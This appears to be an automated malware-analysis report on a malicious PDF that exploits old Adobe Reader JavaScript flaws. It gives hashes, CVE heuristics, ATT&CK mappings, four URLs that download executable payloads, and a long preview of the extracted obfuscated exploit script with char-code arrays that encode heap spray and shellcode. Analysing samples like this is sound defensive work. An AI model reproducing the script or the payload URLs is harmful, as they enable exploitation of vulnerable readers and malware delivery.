PDF malware analysis — malicious · 300c6a69620c293d

MALICIOUS

PDF

75.3 KB Created: 2009-11-10 19:44:74 Authoring application: PDF Library 9.2.1 (via PDF Library 9.10.2) First seen: 2015-09-16

MD5: 2a43b230d3734c95d1e6d1849c9b27d4 SHA-1: 527a24a0603151a1502cf2392db0d251d062a691 SHA-256: 300c6a69620c293d2885f4f5ed9858e431d7bc733702baa85d4f695efc13026f

592 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution T1059.001 Command and Scripting Interpreter: JavaScript

This PDF file exploits multiple known Adobe Reader vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The embedded JavaScript, identified as legacy_pdfkit_stage_000.js, is responsible for triggering these exploits. The primary function of the script appears to be downloading and executing a second-stage payload, although the exact URL is obfuscated within the script's encoding.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/tgaz2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/fmqrs2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/ikpr2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38041 bytes
SHA-256: `eb86bbc591c4d3ab5074221c6fc4fc6fa1790cde815e1d71749e03c73b2695ab`
Preview script First 1,000 lines of the extracted script var gjmqs="gjmqs";empqr="empqr";beipu="";abctuy="";cijosv="cijosv";bchpq="bchpq";nptuvy="";glnty=false;gpqtux="gpqtux";ecoz=40179;aegnuw='';dsmcfz="dsmcfz";var inqy="",egkqs=31474,fgovy=0,ajpx=String,uljzy=ajpx['fur8otmuCshQaurQCtotd8e8'.replace(/[8sutQ]/g,'')],qrsw=String,klst=qrsw['envxawlr'.replace(/[rRnxw]/g,'')],dktv="13",dluw="",rvwtzq=[62,61,58,153,166,161,148,167,154,162,159,83,151,156,169,146,154,167,89,172,146,165,164,163,93,83,157,152,159,92,172,64,59,60,58,170,153,156,157,152,81,91,170,148,163,166,161,97,157,152,159,154,165,155,81,93,81,101,81,111,81,159,150,161,90,174,62,61,58,60,58,172,146,165,164,163,81,94,110,83,170,148,163,166,161,110,62,61,58,60,174,64,59,60,58,172,146,165,164,163,81,112,81,172,146,165,164,163,95,166,166,149,164,167,163,156,159,154,89,99,93,83,157,152,159,98,99,92,108,64,59,60,58,165,150,167,166,165,159,83,170,148,163,166,161,110,62,61,58,176,62,61,62,61,58,153,166,161,148,167,154,162,159,83,166,167,154,159,144,163,163,156,159,167,151,91,90,174,62,61,58,60,167,148,163,83,161,148,170,159,160,148,149,83,110,83,166,161,150,166,148,148,161,152,89,85,86,168,118,117,118,108,86,168,97,99,97,100,86,168,102,105,97,99,86,168,114,100,103,103,86,168,97,99,100,99,86,168,97,99,97,99,86,168,101,99,105,117,86,168,105,117,97,118,86,168,98,118,104,99,86,168,105,117,114,119,86,168,97,107,101,99,86,168,116,102,102,120,86,168,105,117,102,104,86,168,105,117,118,118,86,168,97,107,101,104,86,168,100,102,102,101,86,168,116,100,117,101,86,168,97,102,116,101,86,168,98,99,100,101,86,168,105,99,101,99,86,168,97,99,100,107,86,168,119,104,104,104,86,168,116,101,105,117,86,168,102,119,102,116,86,168,97,103,116,101,86,168,102,104,97,99,86,168,118,118,105,117,86,168,102,100,102,100,86,168,102,105,102,102,86,168,103,99,102,106,86,168,102,119,105,117,86,168,100,102,97,107,86,168,105,117,116,99,86,168,97,118,104,104,86,168,119,120,105,117,86,168,104,105,97,102,86,168,105,117,100,118,86,168,104,107,101,120,86,168,116,121,97,102,86,168,102,100,105,117,86,168,102,101,98,118,86,168,102,100,105,117,86,168,102,101,99,103,86,168,104,100,105,117,86,168,101,120,98,103,86,168,104,104,105,108,86,168,105,117,119,118,86,168,99,99,104,100,86,168,119,106,97,102,86,168,101,116,106,108,86,168,101,101,114,119,86,168,100,117,103,99,86,168,119,118,102,104,86,168,97,103,104,104,86,168,116,99,100,102,86,168,100,106,118,117,86,168,119,121,100,102,86,168,101,104,97,102,86,168,106,106,97,118,86,168,116,121,105,117,86,168,104,104,114,120,86,168,99,117,119,119,86,168,101,121,119,108,86,168,118,107,102,100,86,168,119,121,106,103,86,168,119,121,119,121,86,168,116,102,100,117,86,168,104,103,103,100,86,168,118,117,97,101,86,168,105,117,117,108,86,168,97,118,101,104,86,168,102,120,106,101,86,168,119,101,97,102,86,168,118,99,117,100,86,168,116,105,97,102,86,168,116,108,100,102,86,168,115,106,97,121,86,168,102,121,97,107,86,168,118,100,116,100,86,168,97,102,97,101,86,168,97,102,116,116,86,168,105,117,116,121,86,168,97,102,97,100,86,168,105,108,116,101,86,168,119,107,101,104,86,168,105,117,103,100,86,168,119,107,101,104,86,168,102,120,102,121,86,168,116,108,102,117,86,168,102,104,116,102,86,168,118,118,105,117,86,168,118,107,102,100,86,168,119,121,101,108,86,168,119,121,119,121,86,168,103,107,102,99,86,168,103,99,118,107,86,168,97,103,115,121,86,168,103,118,118,107,86,168,119,121,119,121,86,168,100,102,119,121,86,168,102,101,117,101,86,168,119,121,102,101,86,168,97,107,104,104,86,168,117,99,119,121,86,168,101,104,105,108,86,168,105,117,119,118,86,168,119,118,101,104,86,168,116,102,116,108,86,168,105,117,102,104,86,168,105,102,118,118,86,168,97,118,118,118,86,168,101,104,105,119,86,168,102,99,119,103,86,168,101,104,116,105,86,168,104,104,119,103,86,168,101,104,116,105,86,168,104,101,119,104,86,168,101,104,116,105,86,168,103,118,119,105,86,168,101,104,116,105,86,168,103,119,119,106,86,168,101,104,116,105,86,168,103,121,119,107,86,168,101,104,116,105,86,168,103,120,119,108,86,168,101,104,116,105,86,168,99,120,119,116,86,168,101,104,116,105,86,168,103,103,119,117,86,168,101,104,116,105,86,168,103,118,119,118,86,168,101,104,116,105,86,168,103,118,119,119,86,168,101,104,116,105,86,168,97,99,119,120,86,168,114,99,118,107,86,168,119,121,119,121,86,168,102,99,119,121,86,168,102,119,103,107,86,168,98,100,105,116,86,168,118,107,98,105,86,168,119,121,98,104,86,168,119,121,119,121,86,168,116,103,105,102,86,168,105,104,97,118,86,168,104,103,116,99,86,168,103,116,98,104,86,168,103,116,97,99,86,168,119,121,97,99,86,168,97,118,104,104,86,168,104,104,119,121,86,168,103,116,97,107,86,168,119,121,97,99,86,168,105,104,117,99,86,168,104,104,116,99,86,168,101,99,97,102,86,168,116,102,116,108,86,168,116,99,100,102,86,168,116,102,116,108,86,168,100,102,102,106,86,168,105,117,116,99,86,168,99,103,101,118,86,168,105,117,97,118,86,168,99,103,104,118,86,168,119,118,97,107,86,168,114,116,119,102,86,168,116,102,102,121,86,168,101,118,105,117,86,168,97,103,99,103,86,168,100,108,105,99,86,168,105,117,97,99,86,168,104,103,116,100,86,168,101,99,97,105,86,168,100,107,105,99,86,168,104,104,97,99,86,168,99,117,119,116,86,168,116,102,116,100,86,168,105,117,102,104,86,168,105,102,118,118,86,168,103,103,118,118,86,168,105,119,102,102,86,168,119,99,101,104,86,168,100,102,102,106,86,168,102,99,117,117,86,168,101,104,116,105,86,168,103,117,119,99,86,168,101,104,116,105,86,168,103,104,119,100,86,168,101,104,116,105,86,168,104,101,119,101,86,168,101,104,116,105,86,168,103,120,119,102,86,168,101,104,116,105,86,168,103,104,119,103,86,168,101,104,116,105,86,168,103,118,119,104,86,168,101,104,116,105,86,168,100,102,119,105,86,168,101,104,116,105,86,168,100,101,119,106,86,168,101,104,116,105,86,168,99,120,119,107,86,168,101,104,116,105,86,168,103,103,119,108,86,168,101,104,116,105,86,168,103,118,119,116,86,168,101,104,116,105,86,168,103,118,119,117,86,168,102,119,105,107,86,168,118,107,119,118,86,168,119,121,97,117,86,168,119,121,119,121,86,168,103,107,102,99,86,168,101,102,103,107,86,168,105,120,119,108,86,168,105,99,118,107,86,168,119,121,119,120,86,168,105,117,119,121,86,168,105,119,119,107,86,168,106,118,101,104,86,168,101,103,103,116,86,168,118,107,102,99,86,168,119,121,104,120,86,168,119,121,119,121,86,168,101,104,105,119,86,168,103,116,118,99,86,168,102,99,98,99,86,168,104,102,118,107,86,168,119,121,119,121,86,168,105,102,119,121,86,168,98,118,116,103,86,168,101,104,105,119,86,168,102,99,118,99,86,168,101,104,105,119,86,168,102,99,106,118,86,168,102,102,102,102,86,168,102,102,102,102,86,168,102,102,102,102,86,168,104,104,119,121,86,168,116,106,97,107,86,168,106,118,101,104,86,168,97,99,101,103,86,168,97,99,97,99,86,168,119,121,102,102,86,168,102,121,117,106,86,168,115,105,97,121,86,168,102,117,116,99,86,168,116,102,116,108,86,168,105,117,102,104,86,168,102,100,118,118,86,168,102,102,102,100,86,168,102,106,102,105,86,168,101,101,103,116,86,168,104,101,118,107,86,168,97,99,97,99,86,168,105,117,97,99,86,168,100,102,117,107,86,168,105,104,119,105,86,168,102,108,117,117,86,168,101,104,116,106,86,168,103,100,119,107,86,168,103,104,99,120,86,168,116,106,104,107,86,168,119,118,101,104,86,168,97,99,103,104,86,168,97,99,97,99,86,168,102,105,104,120,86,168,101,104,105,119,86,168,102,99,119,107,86,168,118,107,102,105,86,168,97,99,102,100,86,168,97,99,97,99,86,168,102,99,102,108,86,168,115,100,118,107,86,168,119,121,119,120,86,168,105,104,119,121,86,168,102,108,116,99,86,168,104,103,102,108,86,168,105,119,100,108,86,168,97,100,101,105,86,168,118,107,102,99,86,168,97,99,100,117,86,168,97,99,97,99,86,168,119,107,105,117,86,168,101,104,105,119,86,168,102,99,119,107,86,168,99,100,118,107,86,168,119,121,119,121,86,168,105,104,119,121,86,168,102,108,116,99,86,168,104,103,102,108,86,168,102,106,97,118,86,168,97,100,118,107,86,168,119,121,119,121,86,168,102,108,119,121,86,168,101,103,116,105,86,168,119,121,100,107,86,168,102,99,104,102,86,168,101,104,105,119,86,168,119,120,119,107,86,168,102,107,97,99,86,168,101,104,105,119,86,168,102,99,119,107,86,168,118,107,102,106,86,168,119,120,104,103,86,168,119,121,119,121,86,168,102,108,102,108,86,168,101,105,101,105,86,168,119,102,100,117,86,168,114,116,104,118,86,168,102,120,102,121,86,168,116,108,102,117,86,168,102,104,116,102,86,168,118,118,105,117,86,168,102,102,102,100,86,168,103,99,103,105,86,168,100,101,115,100,86,168,97,99,118,107,86,168,97,99,97,99,86,168,102,107,97,99,86,168,97,107,100,107,86,168,97,102,104,103,86,168,118,117,101,99,86,168,101,99,119,108,86,168,102,119,105,117,86,168,105,99,97,107,86,168,101,101,119,117,86,168,97,107,104,104,86,168,117,117,100,102,86,168,98,107,105,116,86,168,116,102,105,117,86,168,98,106,118,117,86,168,98,107,100,107,86,168,98,100,104,105,86,168,100,102,101,99,86,168,105,103,116,108,86,168,104,103,117,117,86,168,101,99,97,118,86,168,97,107,100,107,86,168,119,117,104,104,86,168,119,120,101,99,86,168,118,117,116,117,86,168,100,102,119,101,86,168,105,108,116,99,86,168,119,118,101,104,86,168,101,104,105,117,86,168,102,117,119,118,86,168,116,102,116,108,86,168,97,101,100,101,86,168,104,103,103,107,86,168,104,99,104,103,86,168,99,121,100,116,86,168,103,119,99,121,86,168,104,101,103,108,86,168,103,121,104,101,86,168,103,121,104,101,86,168,103,104,103,120,86,168,103,121,104,101,86,168,103,108,103,105,86,168,103,104,104,105,86,168,103,102,99,120,86,168,103,119,103,121,86,168,104,102,99,121,86,168,103,104,103,118,86,168,104,99,103,104,86,168,104,103,99,121,86,168,103,100,103,106,86,168,100,101,104,116,86,168,103,104,99,120,86,168,103,104,104,107,86,168,103,107,97,99,86,168,104,103,104,103,86,168,100,116,104,99,86,168,99,121,99,121,86,168,103,108,103,119,86,168,104,101,104,101,86,168,104,101,103,121,86,168,103,120,103,121,86,168,104,101,103,104,86,168,103,105,103,121,86,168,104,105,103,108,86,168,99,120,103,104,86,168,103,121,103,102,86,168,99,121,103,119,86,168,103,118,104,102,86,168,103,104,103,104,86,168,99,121,104,99,86,168,103,118,103,102,86,168,103,102,103,108,86,168,99,120,103,117,86,168,103,107,104,99,86,168,100,121,104,99,86,168,100,119,104,101,86,168,97,99,97,99,83,92,108,64,59,60,58,169,146,165,81,161,160,163,81,112,81,168,159,152,164,150,146,163,150,91,83,88,166,99,114,99,114,88,166,99,114,99,114,88,166,99,114,99,114,88,166,99,114,99,114,85,90,64,59,60,58,169,146,165,81,155,150,148,161,149,157,162,148,158,81,112,81,161,160,163,81,94,81,163,146,172,157,162,146,151,108,64,59,60,58,169,146,165,81,149,154,154,147,159,160,150,156,83,110,83,166,161,150,166,148,148,161,152,89,85,86,168,97,116,97,116,86,168,97,116,97,116,83,92,108,64,59,60,58,169,146,165,81,155,150,148,149,152,163,166,154,173,150,83,110,83,99,99,108,64,59,60,58,169,146,165,81,166,161,165,146,172,81,112,81,155,150,148,149,152,163,166,154,173,150,83,92,83,153,152,146,163,147,159,160,150,156,97,157,152,159,154,165,155,108,64,59,60,58,170,153,156,157,152,81,91,147,156,152,149,157,162,148,158,95,159,150,161,152,167,153,83,109,83,164,163,163,148,170,92,172,64,59,60,58,60,147,156,152,149,157,162,148,158,81,94,110,83,147,156,152,149,157,162,148,158,108,64,59,60,58,176,62,61,58,60,167,148,163,83,151,156,157,159,147,159,160,150,156,83,110,83,147,156,152,149,157,162,148,158,95,166,166,149,164,167,163,156,159,154,89,99,93,83,164,163,163,148,170,92,108,64,59,60,58,169,146,165,81,149,157,162,148,158,81,112,81,149,154,154,147,159,160,150,156,97,164,168,147,166,165,165,154,161,152,91,97,95,81,149,154,154,147,159,160,150,156,97,157,152,159,154,165,155,94,166,161,165,146,172,90,110,62,61,58,60,168,155,154,159,150,83,89,149,157,162,148,158,95,159,150,161,152,167,153,94,164,163,163,148,170,83,109,83,97,171,101,99,97,99,97,92,172,64,59,60,58,60,147,159,160,150,156,83,110,83,147,159,160,150,156,83,92,83,147,159,160,150,156,83,92,83,151,156,157,159,147,159,160,150,156,110,62,61,58,60,174,64,59,60,58,169,146,165,81,160,150,160,144,148,163,165,146,172,81,112,81,161,150,170,81,116,163,165,146,172,89,92,108,64,59,60,58,153,160,165,81,91,167,148,163,83,154,83,110,83,97,110,81,156,81,111,81,100,101,99,97,110,81,156,92,94,90,174,62,61,58,60,58,160,150,160,144,148,163,165,146,172,140,156,142,83,110,83,147,159,160,150,156,83,92,83,153,152,146,163,147,159,160,150,156,110,62,61,58,60,174,64,59,60,58,169,146,165,81,161,166,160,81,112,81,100,99,108,106,108,106,108,106,108,106,108,106,108,106,108,106,108,106,108,106,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,110,62,61,58,60,166,167,154,159,95,163,163,156,159,167,151,91,83,88,101,104,97,99,97,153,83,95,81,161,166,160,90,110,62,61,58,176,62,61,62,61,58,153,166,161,148,167,154,162,159,83,148,162,157,159,146,149,144,152,158,148,154,159,89,92,172,64,59,60,58,169,146,165,81,166,153,152,157,159,148,162,149,152,81,112,81,168,159,152,164,150,146,163,150,91,83,88,166,120,115,120,106,88,166,99,97,99,98,88,166,104,103,99,97,88,166,116,98,105,101,88,166,99,97,102,97,88,166,99,97,99,97,88,166,103,97,107,115,88,166,107,115,99,116,88,166,100,116,106,97,88,166,107,115,116,117,88,166,99,105,103,97,88,166,118,100,104,118,88,166,107,115,104,102,88,166,107,115,120,116,88,166,99,105,103,102,88,166,102,100,104,99,88,166,118,98,119,99,88,166,99,100,118,99,88,166,100,97,102,99,88,166,107,97,103,97,88,166,99,97,102,105,88,166,121,102,106,102,88,166,118,99,107,115,88,166,104,117,104,114,88,166,99,101,118,99,88,166,104,102,99,97,88,166,120,116,107,115,88,166,104,98,104,98,88,166,104,103,104,100,88,166,105,97,104,104,88,166,104,117,107,115,88,166,102,100,99,105,88,166,107,115,118,97,88,166,99,116,106,102,88,166,121,118,107,115,88,166,106,103,99,100,88,166,107,115,102,116,88,166,106,105,103,118,88,166,118,119,99,100,88,166,104,98,107,115,88,166,104,99,100,116,88,166,104,98,107,115,88,166,104,99,101,101,88,166,106,98,107,115,88,166,103,118,100,101,88,166,106,102,107,106,88,166,107,115,121,116,88,166,101,97,106,98,88,166,121,104,99,100,88,166,103,114,108,106,88,166,103,99,116,117,88,166,102,115,105,97,88,166,121,116,104,102,88,166,99,101,106,102,88,166,118,97,102,100,88,166,102,104,120,115,88,166,121,119,102,100,88,166,103,102,99,100,88,166,108,104,99,116,88,166,118,119,107,115,88,166,106,102,116,118,88,166,101,115,121,117,88,166,103,119,121,106,88,166,120,105,104,98,88,166,121,119,108,101,88,166,121,119,121,119,88,166,118,100,102,115,88,166,106,101,105,98,88,166,120,115,99,99,88,166,107,115,119,106,88,166,99,116,103,102,88,166,104,118,108,99,88,166,121,99,99,100,88,166,120,97,119,98,88,166,118,103,99,100,88,166,118,106,102,100,88,166,117,104,99,119,88,166,104,119,99,105,88,166,120,98,118,98,88,166,99,100,99,99,88,166,99,100,118,114,88,166,107,115,118,119,88,166,99,100,99,98,88,166,107,106,118,99,88,166,121,105,103,102,88,166,107,115,105,98,88,166,121,105,103,102,88,166,104,118,104,119,88,166,118,106,104,115,88,166,104,102,118,100,88,166,120,116,107,115,88,166,120,105,104,98,88,166,121,119,103,106,88,166,121,119,121,119,88,166,105,105,104,97,88,166,105,97,120,105,88,166,99,101,117,119,88,166,105,116,120,105,88,166,121,119,121,119,88,166,102,100,121,119,88,166,104,99,119,99,88,166,121,119,104,99,88,166,99,105,106,102,88,166,119,97,121,119,88,166,103,102,107,106,88,166,107,115,121,116,88,166,121,116,103,102,88,166,118,100,118,106,88,166,107,115,104,102,88,166,107,100,120,116,88,166,99,116,120,116,88,166,103,102,107,117,88,166,104,97,121,101,88,166,103,102,118,103,88,166,106,102,121,101,88,166,103,102,118,103,88,166,106,99,121,102,88,166,103,102,118,103,88,166,105,116,121,103,88,166,103,102,118,103,88,166,105,117,121,104,88,166,103,102,118,103,88,166,105,119,121,105,88,166,103,102,118,103,88,166,105,118,121,106,88,166,103,102,118,103,88,166,101,118,121,114,88,166,103,102,118,103,88,166,105,101,121,115,88,166,103,102,118,103,88,166,105,116,121,116,88,166,103,102,118,103,88,166,105,116,121,117,88,166,103,102,118,103,88,166,99,97,121,118,88,166,116,97,120,105,88,166,121,119,121,119,88,166,104,97,121,119,88,166,104,117,105,105,88,166,100,98,107,114,88,166,120,105,100,103,88,166,121,119,100,102,88,166,121,119,121,119,88,166,118,101,107,100,88,166,107,102,99,116,88,166,106,101,118,97,88,166,105,114,100,102,88,166,105,114,99,97,88,166,121,119,99,97,88,166,99,116,106,102,88,166,106,102,121,119,88,166,105,114,99,105,88,166,121,119,99,97,88,166,107,102,119,97,88,166,106,102,118,97,88,166,103,97,99,100,88,166,118,100,118,106,88,166,118,97,102,100,88,166,118,100,118,106,88,166,102,100,104,104,88,166,107,115,118,97,88,166,101,101,103,116,88,166,107,115,99,116,88,166,101,101,106,116,88,166,121,116,99,105,88,166,116,114,121,100,88,166,118,100,104,119,88,166,103,116,107,115,88,166,99,101,101,101,88,166,102,106,107,97,88,166,107,115,99,97,88,166,106,101,118,98,88,166,103,97,99,103,88,166,102,105,107,97,88,166,106,102,99,97,88,166,101,115,121,114,88,166,118,100,118,98,88,166,107,115,104,102,88,166,107,100,120,116,88,166,105,101,120,116,88,166,107,117,104,100,88,166,121,97,103,102,88,166,102,100,104,104,88,166,104,97,119,115,88,166,103,102,118,103,88,166,105,115,121,97,88,166,103,102,118,103,88,166,105,102,121,98,88,166,103,102,118,103,88,166,106,99,121,99,88,166,103,102,118,103,88,166,105,118,121,100,88,166,103,102,118,103,88,166,105,102,121,101,88,166,103,102,118,103,88,166,105,116,121,102,88,166,103,102,118,103,88,166,102,100,121,103,88,166,103,102,118,103,88,166,102,99,121,104,88,166,103,102,118,103,88,166,101,118,121,105,88,166,103,102,118,103,88,166,105,101,121,106,88,166,103,102,118,103,88,166,105,116,121,114,88,166,103,102,118,103,88,166,105,116,121,115,88,166,104,117,107,105,88,166,120,105,121,116,88,166,121,119,99,115,88,166,121,119,121,119,88,166,105,105,104,97,88,166,103,100,105,105,88,166,107,118,121,106,88,166,107,97,120,105,88,166,121,119,121,118,88,166,107,115,121,119,88,166,107,117,121,105,88,166,108,116,103,102,88,166,103,101,105,114,88,166,120,105,104,97,88,166,121,119,106,118,88,166,121,119,121,119,88,166,103,102,107,117,88,166,105,114,120,97,88,166,104,97,100,97,88,166,106,100,120,105,88,166,121,119,121,119,88,166,107,100,121,119,88,166,100,116,118,101,88,166,103,102,107,117,88,166,104,97,120,97,88,166,103,102,107,117,88,166,104,97,108,116,88,166,104,100,104,100,88,166,104,100,104,100,88,166,104,100,104,100,88,166,106,102,121,119,88,166,118,104,99,105,88,166,108,116,103,102,88,166,99,97,103,101,88,166,99,97,99,97,88,166,121,119,104,100,88,166,104,119,119,104,88,166,117,103,99,119,88,166,104,115,118,97,88,166,118,100,118,106,88,166,107,115,104,102,88,166,104,98,120,116,88,166,104,100,104,98,88,166,104,104,104,103,88,166,103,99,105,114,88,166,106,99,120,105,88,166,99,97,99,97,88,166,107,115,99,97,88,166,102,100,119,105,88,166,107,102,121,103,88,166,104,106,119,115,88,166,103,102,118,104,88,166,105,98,121,105,88,166,105,102,101,118,88,166,118,104,106,105,88,166,121,116,103,102,88,166,99,97,105,102,88,166,99,97,99,97,88,166,104,103,106,118,88,166,103,102,107,117,88,166,104,97,121,105,88,166,120,105,104,103,88,166,99,97,104,98,88,166,99,97,99,97,88,166,104,97,104,106,88,166,117,98,120,105,88,166,121,119,121,118,88,166,107,102,121,119,88,166,104,106,118,97,88,166,106,101,104,106,88,166,107,117,102,106,88,166,99,98,103,103,88,166,120,105,104,97,88,166,99,97,102,115,88,166,99,97,99,97,88,166,121,105,107,115,88,166,103,102,107,117,88,166,104,97,121,105,88,166,101,98,120,105,88,166,121,119,121,119,88,166,107,102,121,119,88,166,104,106,118,97,88,166,106,101,104,106,88,166,104,104,99,116,88,166,99,98,120,105,88,166,121,119,121,119,88,166,104,106,121,119,88,166,103,101,118,103,88,166,121,119,102,105,88,166,104,97,106,100,88,166,103,102,107,117,88,166,121,118,121,105,88,166,104,105,99,97,88,166,103,102,107,117,88,166,104,97,121,105,88,166,120,105,104,104,88,166,121,118,106,101,88,166,121,119,121,119,88,166,104,106,104,106,88,166,103,103,103,103,88,166,121,100,102,115,88,166,116,114,106,116,88,166,104,118,104,119,88,166,118,106,104,115,88,166,104,102,118,100,88,166,120,116,107,115,88,166,104,100,104,98,88,166,105,97,105,103,88,166,102,99,117,98,88,166,99,97,120,105,88,166,99,97,99,97,88,166,104,105,99,97,88,166,99,105,102,105,88,166,99,100,106,101,88,166,120,115,103,97,88,166,103,97,121,106,88,166,104,117,107,115,88,166,107,97,99,105,88,166,103,99,121,115,88,166,99,105,106,102,88,166,119,115,102,100,88,166,100,105,107,114,88,166,118,100,107,115,88,166,100,104,120,115,88,166,100,105,102,105,88,166,100,98,106,103,88,166,102,100,103,97,88,166,107,101,118,106,88,166,106,101,119,115,88,166,103,97,99,116,88,166,99,105,102,105,88,166,121,115,106,102,88,166,121,118,103,97,88,166,120,115,118,115,88,166,102,100,121,99,88,166,107,106,118,97,88,166,121,116,103,102,88,166,103,102,107,115,88,166,104,115,121,116,88,166,118,100,118,106,88,166,99,99,102,99,88,166,106,101,105,105,88,166,106,97,106,101,88,166,101,119,102,114,88,166,105,117,101,119,88,166,106,99,105,106,88,166,105,119,106,99,88,166,105,119,106,99,88,166,105,102,105,118,88,166,105,119,106,99,88,166,105,106,105,103,88,166,105,102,106,103,88,166,105,100,101,118,88,166,105,117,105,119,88,166,106,100,101,119,88,166,105,102,105,116,88,166,106,97,105,102,88,166,105,103,101,119,88,166,106,98,105,117,88,166,106,100,106,99,88,166,101,118,102,99,88,166,106,105,105,102,88,166,99,97,105,102,88,166,106,101,105,105,88,166,106,97,106,101,88,166,101,119,102,114,88,166,105,117,101,119,88,166,106,99,105,106,88,166,105,119,106,99,88,166,105,119,106,99,88,166,105,102,105,118,88,166,105,119,106,99,88,166,105,106,105,103,88,166,105,102,106,103,88,166,105,100,101,118,88,166,105,117,105,119,88,166,106,100,101,119,88,166,105,102,105,116,88,166,106,97,105,102,88,166,105,100,101,119,88,166,105,106,105,116,88,166,105,115,105,100,88,166,106,97,101,118,88,166,106,97,105,105,88,166,106,99,102,119,88,166,99,97,102,117,85,90,110,62,61,58,60,167,148,163,83,158,152,158,146,146,165,163,148,170,83,110,83,159,152,168,83,114,165,163,148,170,91,90,110,62,61,58,60,167,148,163,83,148,150,81,112,81,99,169,99,148,99,148,99,148,99,148,110,62,61,58,60,167,148,163,83,146,151,149,165,81,112,81,99,169,103,97,99,97,99,97,110,62,61,58,60,167,148,163,83,164,150,144,159,150,161,81,112,81,166,153,152,157,159,148,162,149,152,95,159,150,161,152,167,153,83,91,83,99,110,62,61,58,60,167,148,163,83,157,152,159,83,110,83,146,151,149,165,81,96,81,91,164,150,144,159,150,161,92,99,169,102,105,92,108,64,59,60,58,169,146,165,81,172,146,165,164,163,81,112,81,168,159,152,164,150,146,163,150,91,83,88,166,108,97,108,97,88,166,108,97,